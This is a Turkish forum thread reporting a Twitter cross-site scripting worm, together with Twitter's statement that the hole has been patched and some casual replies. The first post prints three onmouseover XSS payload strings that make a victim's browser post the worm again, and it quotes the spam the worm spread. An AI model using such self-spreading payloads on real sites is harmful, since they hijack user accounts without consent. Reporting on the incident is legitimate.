Twitter Yine Hacklendi!

Cehennem_Zebanisi

Super Moderator
Süper Moderatör
Katılım
20 Kas 2005
Mesajlar
11,509
Reaction score
0
Puanları
0
Konum
Ad Caine vero et ad munera illuis non respexit ira
twitter-logo.jpg


Twitter'da bir açık daha ortaya cıktı. Aşağıdaki kodlar yazıldığında sistemde online olan tüm kullanıcılar otomatikman takip listesine ekleniyor ve kodlar otomatikman herkese dagılıyor. Bu durumda twitter'ın kilitlenmesine yol açıyor.

Kod:
http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit();"class="modal-overlay"/

http://l.ol/@"onmouseover="document.getElementById('status').value='RT Twitrotor';$('.status-update-form').submit();"class="modal-overlay"/

http://t.co/@"onmouseover="document.getElementById('status').value='RT Twitrotor';$('.status-update-form').submit();"class="modal-overlay"/

Bu kodlardan sonra yazılan mesajlarda dikkat çeken "KILL ALL CLOWNS!!! JIHAD JIHAD!" gibi sözler oldu.

Suanda sorun hala devam etmekte ve sorundan kurtulmak için, Twitter adresine girerek bu kodları ve retweetleri otomatik atan kişileri blocklamanızdır... Tekrar Twitter adresine girerek kaldığınız yerden devam edebilirsiniz fakat bu saldırılar twitter ekibi olaya el atana kadar sürücektir. Şimdilik Twitter'dan twitter'a girmeniz tavisye ederim...

Bakalım Twitter ekibi bu olayın altından kalkabilecek mi?

Ekran Görüntüleri:



Haber: Cehennem_Zebanisi
 

Ekli dosyalar

  • twitter-logo.jpg
    twitter-logo.jpg
    32.7 KB · Görüntüleme: 4,511
Ve Twitter Ekibinden Açıklama GeLdi

Yapılan açıklamada kısaca sistemLerinde bir XSS açığı bulunmuş ve müdahaLe ediLmiş...


XSS attack identified and patched.

We’ve identified and are patching a XSS attack; as always, please message @safety if you have info regarding such an exploit.

We expect the patch to be fully rolled out shortly and will update again when it is.

Kaynak
 
Bi ısınamadım şu siteye =)

zewkLi ya öle deme : )) ertem şener, sabri ugan, demet akalın, hande yener, ceyhun yılmaz bi çok ünü var... ve bi çok yazdıklarıma da cvp alabiliyorum ve fake deiller ayrıca takip ListeLerine de ekliyorlar : ))

follow me :laugh:
 
Geri
Üst